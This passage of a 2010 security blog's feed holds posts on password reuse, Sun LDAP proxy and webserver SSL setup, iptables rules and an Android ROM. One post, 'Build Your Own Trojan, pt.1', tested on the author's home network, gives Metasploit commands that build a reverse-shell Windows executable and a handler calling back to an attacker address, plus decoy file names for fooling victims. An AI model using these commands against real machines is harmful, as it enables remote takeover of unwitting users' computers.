&lt;a href="http://feedads.g.doubleclick.net/~a/CNVQHNYBT2omU408SdIsutDwqI0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CNVQHNYBT2omU408SdIsutDwqI0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/nBCNc5CkQXc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/8358779914793096040/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/simple-full-disk-encryption.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8358779914793096040?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8358779914793096040?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/nBCNc5CkQXc/simple-full-disk-encryption.html" title="Simple Full Disk Encryption" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/simple-full-disk-encryption.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcEQHY4eCp7ImA9WxBUEEs.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-5208831322507707904</id><published>2010-02-24T18:46:00.000-08:00</published><updated>2010-02-24T18:46:41.830-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-24T18:46:41.830-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="blah" /><title>Passwords Across Services</title><content type="html">When I first got a gmail account I didnt take it too seriously, another random email, and so I set it up with a password that I commonly used as a "throwaway".. it was relatively weak and used on a few other sites, including ones that don't even bother with encryption; but again, why did I care? its some junk email site...&lt;br /&gt;
&lt;br /&gt;
Then I started using google docs, then google analytics, google checkout, google adsense, blogger, and so on... the throwaway little junk email was suddenly responsible for a large portion of my online presense and tied to at least one credit card, and the other day I was logging into gmail and realised what i was typing... a weak password, used on multiple sites, with high exposure.&lt;br /&gt;
&lt;br /&gt;
Needless to say, I went and changed it to somthing much stronger. In fact I took the opportunity to change most of my passwords to stronger alternatives, making sure to separate the secure and insecure sites, and I encourage everyone else to as well.&lt;br /&gt;
&lt;br /&gt;
Take a moment and think about how many sites you use the same password for, google especially, and if any of those sites have a login in cleartext.&lt;br /&gt;
&lt;br /&gt;
It's amazing how these things can just sneak up on people.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
P.S. for the unaware, a strong password is longer than 8 characters and composed of letters, numbers, and symbols, or a sentence/phrase that's longer than 16 characters.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-5208831322507707904?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KFAdrIjXD4Yo6SxkqpLAk1xO38k/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KFAdrIjXD4Yo6SxkqpLAk1xO38k/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KFAdrIjXD4Yo6SxkqpLAk1xO38k/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KFAdrIjXD4Yo6SxkqpLAk1xO38k/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/3RxGflQteKU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/5208831322507707904/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/passwords-across-services.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5208831322507707904?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5208831322507707904?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/3RxGflQteKU/passwords-across-services.html" title="Passwords Across Services" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/passwords-across-services.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEMRHcycSp7ImA9WxBUEEg.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-5759033285957373537</id><published>2010-02-24T15:04:00.000-08:00</published><updated>2010-02-24T15:04:45.999-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-24T15:04:45.999-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ldap" /><category scheme="http://www.blogger.com/atom/ns#" term="solaris" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Sun LDAP Proxy</title><content type="html">Since one of the ldap proxy systems i work with with decided to start having issues last week, today i took the time to go in and rebuild it... a pretty simple task in general, but again, nothing produced by sun has straightforward instructions.. at least not until someone that acctually uses their software writes them.&lt;br /&gt;
&lt;br /&gt;
So with a little help from google, and a lot of references to help files, here is how to set up a Sun Directory Server Enterprise Edition proxy server that points to three back-end servers.&lt;br /&gt;
&lt;br /&gt;
Jump into the DSEE dps6 toolbox, then create and start your proxy instance: &lt;br /&gt;
&lt;div style="color: #990000;"&gt;#cd /opt/SUNWdsee/dps6/bin&lt;br /&gt;
#./dpadm create /var/opt/SUNWdsee/ldap_proxy1&lt;br /&gt;
#./dpadm start /var/opt/SUNWdsee/ldap_proxy1/&lt;/div&gt;&lt;br /&gt;
Next we'll configure the instance with dpconf. If you get stuck, or need to know what else dpconf can do, the --help flag does at least provide a list of arguments:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;#./dpconf --help&lt;/div&gt;&lt;br /&gt;
1. Create an ldap data source pool, you can then view it to make sure it was created. &lt;br /&gt;
&lt;span style="color: #990000;"&gt;#./dpconf create-ldap-data-source-pool ldap_pool&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf list-ldap-data-source-pools&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
2. Create your ldap data sources, you can name them whatever you want, I just used their hostnames, make sure the address of each is correct though.&lt;br /&gt;
&lt;div style="color: #990000;"&gt; #./dpconf create-ldap-data-source ldapserver1 &lt;a href="http://ldapserver1.mydomain.org:389/" target="_blank"&gt;ldapserver1.mydomain.org:389&lt;/a&gt;&lt;br /&gt;
#./dpconf create-ldap-data-source ldapserver1 &lt;a href="http://ldapserver2.mydomain.org:389/" target="_blank"&gt;ldapserver2.mydomain.org:389&lt;/a&gt;&lt;br /&gt;
#./dpconf create-ldap-data-source ldapserver3 &lt;a href="http://ldapserver3.mydomain.org:389/" target="_blank"&gt;ldapserver3.mydomain.org:389&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
3. Attach your data sources to the data pool, this can be done all in one command. &lt;br /&gt;
&lt;span style="color: #990000;"&gt;#./dpconf attach-ldap-data-source ldap_pool ldapserver1 ldapserver2 ldapserver3&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
4. Set the bind preference weights for each data store, you can set all the weights equally, or you can set some with higher weights than others to indicate preferred connections. Below we set ldap1 and ldap2 at a higher weight than ldap3, so ldap3 is only likely to be used if both 1 and 2 are already overloaded. &lt;br /&gt;
&lt;div style="color: #990000;"&gt;#./dpconf set-attached-ldap-data-source-&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;&lt;wbr style="color: #990000;"&gt;&lt;/wbr&gt;&lt;span style="color: #990000;"&gt;prop ldap_pool ldapserver1 add-weight:10 bind-weight:10 compare-weight:10 delete-weight:10 modify-dn-weight:10 modify-weight:10 search-weight:10&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-attached-ldap-data-source-&lt;/span&gt;&lt;wbr style="color: #990000;"&gt;&lt;/wbr&gt;&lt;span style="color: #990000;"&gt;prop ldap_pool ldapserver2 add-weight:10 bind-weight:10 compare-weight:10 delete-weight:10 modify-dn-weight:10 modify-weight:10 search-weight:10&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-attached-ldap-data-source-&lt;/span&gt;&lt;wbr style="color: #990000;"&gt;&lt;/wbr&gt;&lt;span style="color: #990000;"&gt;prop ldap_pool ldapserver3 add-weight:5 bind-weight:5 compare-weight:5 delete-weight:5 modify-dn-weight:5 modify-weight:5 search-weight:5&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;5. Set the bind dn for each data source, this is usually "Directory Manager" if your back-end is the standard sun setup.&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#./dpconf set-ldap-data-source-prop ldapserver1 bind-dn:"cn=Directory Manager"&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-ldap-data-source-prop ldapserver2 bind-dn:"cn=Directory Manager"&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-ldap-data-source-prop ldapserver3 bind-dn:"cn=Directory Manager"&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;6. Set-up the bind password. You can't insert it as an argument by its self, you have to create a file that has your password in it, and then pass the set command that file as it's argument. &lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;&lt;span style="color: #990000;"&gt;#echo secretbindpassword &amp;gt; pass&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-ldap-data-source-prop ldapserver3 bind-pwd-file:pass&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-ldap-data-source-prop ldapserver2 bind-pwd-file:pass&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpconf set-ldap-data-source-prop ldapserver1 bind-pwd-file:pass&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
7. Finally, point your default proxy data view at your ldap data source pool, and then restart the proxy instance. &lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;&lt;span style="color: #990000;"&gt;#./dpconf set-ldap-data-view-prop root\ data\ view ldap-data-source-pool:ldap_&lt;/span&gt;&lt;wbr style="color: #990000;"&gt;&lt;/wbr&gt;&lt;span style="color: #990000;"&gt;pool&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpadm stop /var/opt/SUNWdsee/ldap_proxy1/&lt;/span&gt;&lt;br style="color: #990000;" /&gt;&lt;span style="color: #990000;"&gt; #./dpadm start /var/opt/SUNWdsee/ldap_proxy1/&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="ii gt" id=":6f"&gt;If all is well you should now be able to bind and query against the ldap proxy, which will load balance connections between the backend servers according to the weights you set.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-5759033285957373537?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2VN81wiv47D4i36Toil-2XEDGds/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2VN81wiv47D4i36Toil-2XEDGds/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2VN81wiv47D4i36Toil-2XEDGds/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2VN81wiv47D4i36Toil-2XEDGds/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/iZeTB0ARLY0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/5759033285957373537/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/sun-ldap-proxy.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5759033285957373537?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/5759033285957373537?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/iZeTB0ARLY0/sun-ldap-proxy.html" title="Sun LDAP Proxy" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/sun-ldap-proxy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UGSH4_cSp7ImA9WxBVGUU.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-7991433664926440627</id><published>2010-02-23T19:12:00.000-08:00</published><updated>2010-02-23T19:13:49.049-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-23T19:13:49.049-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>Build Your Own Trojan, pt.1</title><content type="html">I somehow missed this magic of Metasploit but recently have scene some examples of it floating around the web. Metasploit allows you to simply encode a payload into a binary (.exe), so that it runs in the event that you can get a victim to execute that binary.&lt;br /&gt;
&lt;br /&gt;
My first shot at this was sort of a "hello world" in my own network just to see it work, so I built a reverse connect binary called exploitme.exe using the following command:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style="color: #990000;"&gt;root@oblivion:/pentest/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=192.168.168.13,LPORT=4444 R &amp;gt; exploitme.exe&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
That basically says "when someone runs exploitme.exe, connect back to 192.168.168.13 on port 4444 and serve up a shell as the user that executed the exploit". I put that .exe on a local web-server so I could grab it on a windows box later.&lt;br /&gt;
&lt;br /&gt;
Then on the attacker machine (.13) the same code essentially used as a handler, which just sort of hangs out and waits for the exploited machine to call home:&lt;br /&gt;
&lt;div style="color: #990000;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style="color: #990000;"&gt;root@oblivion:/pentest/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.168.13 E&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Please wait while we load the module tree...&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Started reverse handler on 192.168.168.13:4444 &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
So this, all by its self was way too easy... I hop on a windows7 machine and download exploitme.exe (of-course, if this were really an attempt to attack someone, better names include: setup.exe, crack.exe, avg_free.exe, limewirepro.exe, etc...). Anyway, once the executable is downloaded, and the user tries to run it, nothing seems to happen on their end (no real program is there in this version, just the exploit) and the waiting handler on the attackers machine is greeted with this:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Sending stage (240 bytes)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;[*] Command shell session 1 opened (192.168.168.13:4444 -&amp;gt; 192.168.168.24:51166)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;Microsoft Windows [Version 6.1.7600]&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;Copyright (c) 2009 Microsoft Corporation.&amp;nbsp; All rights reserved.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;C:\Program Files\Mozilla Firefox&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
...awesome.&lt;br /&gt;
&lt;br /&gt;
In the future I'll have a look at anti-virus evasion and more entertaining payloads than just a simple shell.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-7991433664926440627?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZOwhpq0fCfhwOBMD_CARrTCWLp0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZOwhpq0fCfhwOBMD_CARrTCWLp0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZOwhpq0fCfhwOBMD_CARrTCWLp0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZOwhpq0fCfhwOBMD_CARrTCWLp0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/lbW7rivfzZI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/7991433664926440627/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/build-your-own-trojan-pt1.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7991433664926440627?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/7991433664926440627?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/lbW7rivfzZI/build-your-own-trojan-pt1.html" title="Build Your Own Trojan, pt.1" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/build-your-own-trojan-pt1.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cASXozeCp7ImA9WxBVGEU.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-6414991983030411296</id><published>2010-02-22T13:45:00.000-08:00</published><updated>2010-02-22T17:37:28.480-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-22T17:37:28.480-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Encryption" /><category scheme="http://www.blogger.com/atom/ns#" term="solaris" /><title>Sun Webserver7 - SSL</title><content type="html">Dropping the following commands here so that I can reference them in the future, and since it was a pain in the ass to find the details in the first place maybe this will help someone else out too. As always with sun software, I'm amazed that somthing this simple is also so arcane.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;Preparing a signed certificate:&lt;/div&gt;&lt;br /&gt;
bash# /usr/sfw/bin/openssl pkcs12 -export -out mycert.pk12 -in mycert.cer -inkey mycert.key -nodes -name "sslcert"&lt;br /&gt;
&lt;br /&gt;
(where mycert.cer is the signed cert from your authority, and mycert.key is the private key you generated the original request with) &lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;Adding the certificate to the local database:&lt;/div&gt;&lt;br /&gt;
bash# pk12util -i mycert.pk12 -d /var/opt/SUNWwbsrv7/https-my-domain.com/config/.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;Setting up the https listener with that cert:&lt;/div&gt;&lt;br /&gt;
bash# /opt/SUNWwbsrv7/bin/wadm --user=admin --port=8800 --no-ssl&lt;br /&gt;
&lt;br /&gt;
wadm&amp;gt; pull-config --config=my-domain.com my-domain.com&lt;br /&gt;
&lt;br /&gt;
wadm&amp;gt; create-http-listener --listener-port=443 --default-virtual-server-name=my-domain.com --config=my-domain.com&lt;br /&gt;
&lt;br /&gt;
wadm&amp;gt; set-ssel-prop --config=my-domain.com --http-listener-2 server-cert-nickname=sslcert enabled=true&lt;br /&gt;
&lt;br /&gt;
wadm&amp;gt; deploy-config my-domain.com&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;victory&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-6414991983030411296?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-PjwdPTeUeOb8VshhLMbmzK1mKk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-PjwdPTeUeOb8VshhLMbmzK1mKk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-PjwdPTeUeOb8VshhLMbmzK1mKk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-PjwdPTeUeOb8VshhLMbmzK1mKk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/--2sYwE9F4U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/6414991983030411296/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/sun-webserver7-ssl.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6414991983030411296?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6414991983030411296?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/--2sYwE9F4U/sun-webserver7-ssl.html" title="Sun Webserver7 - SSL" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/sun-webserver7-ssl.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIARnk6fip7ImA9WxBVF0U.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-2826243820113964038</id><published>2010-02-21T12:35:00.000-08:00</published><updated>2010-02-21T12:35:47.716-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-21T12:35:47.716-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Iptables" /><title>Handy Iptables Rules</title><content type="html">&lt;span style="color: #990000;"&gt;#allow all return traffic from outbound connections&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#never block localhost&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -s 127.0.0.1/32 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#allow access to ssh from a specific network&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -s 192.168.100.0/24 -p tcp -m tcp --dport 22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#block all other access to ssh&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -p tcp -m tcp --dport 22 -j REJECT&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#quick rule to block a specific ip&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -s 192.168.0.13 -j DROP&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#create a new iptables chain&lt;/span&gt;&lt;br /&gt;
iptables -N BLACKLIST&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#set rules to log and then reject all traffic sent to a chain&lt;/span&gt;&lt;br /&gt;
iptables -A BLACKLIST -j LOG --log-prefix "[BLACKLISTED]: "&lt;br /&gt;
&lt;br /&gt;
iptables -A BLACKLIST -j REJECT --reject-with icmp-host-prohibited&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#send all traffic from a specific ip to a chain&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -s 192.168.0.99 -j BLACKLIST&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#send all traffic to a specific port to a chain&lt;/span&gt;&lt;br /&gt;
iptables -A INPUT -p tcp -m tcp --dport 31337 -j BLACKLIST&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#create a chain for ssh and send all new ssh sessions to it&lt;/span&gt;&lt;br /&gt;
iptables -N SSH_CHECK&lt;br /&gt;
&lt;br /&gt;
iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -j SSH_CHECK&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#rate limit ssh to prevent brute force attempts (any more than 4 connections in 60 seconds will be dropped), and log any such events.&lt;/span&gt;&lt;br /&gt;
iptables -A SSH_CHECK -m recent --set --name SSH --rsource&lt;br /&gt;
&lt;br /&gt;
iptables -A SSH_CHECK -m recent --update --seconds 60 --hitcount 4 --name SSH --rsource -j LOG --log-prefix "SSH Brute Force: "&lt;br /&gt;
&lt;br /&gt;
iptables -A SSH_CHECK -m recent --update --seconds 60 --hitcount 4 --name SSH --rsource -j DROP&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;#Forward a port to another ip address using NAT&lt;/span&gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 9001 -j DNAT --to-destination 192.168.0.100&lt;br /&gt;
&lt;br /&gt;
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-2826243820113964038?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_Cpyifo9ledcKdDWJD3liR2WjNE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_Cpyifo9ledcKdDWJD3liR2WjNE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_Cpyifo9ledcKdDWJD3liR2WjNE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_Cpyifo9ledcKdDWJD3liR2WjNE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/RKdWqON5lLI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/2826243820113964038/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/handy-iptables-rules.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/2826243820113964038?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/2826243820113964038?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/RKdWqON5lLI/handy-iptables-rules.html" title="Handy Iptables Rules" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/handy-iptables-rules.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0ACR34_fip7ImA9WxBVFkU.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-8710690822610274399</id><published>2010-02-20T09:08:00.000-08:00</published><updated>2010-02-20T09:09:26.046-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-20T09:09:26.046-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="android" /><title>Smoked Glass Rom</title><content type="html">New release of Adamz's smoked glass rom for the Motorola Droid came out yesterday, so ofcourse I immediately re-flashed my phone (there goes that Linux ocd again..). This thing is fast, pretty, and powerful, and if you run a rooted Droid or are willing to take that plunge then i wholly suggest this rom.&lt;br /&gt;
&lt;br /&gt;
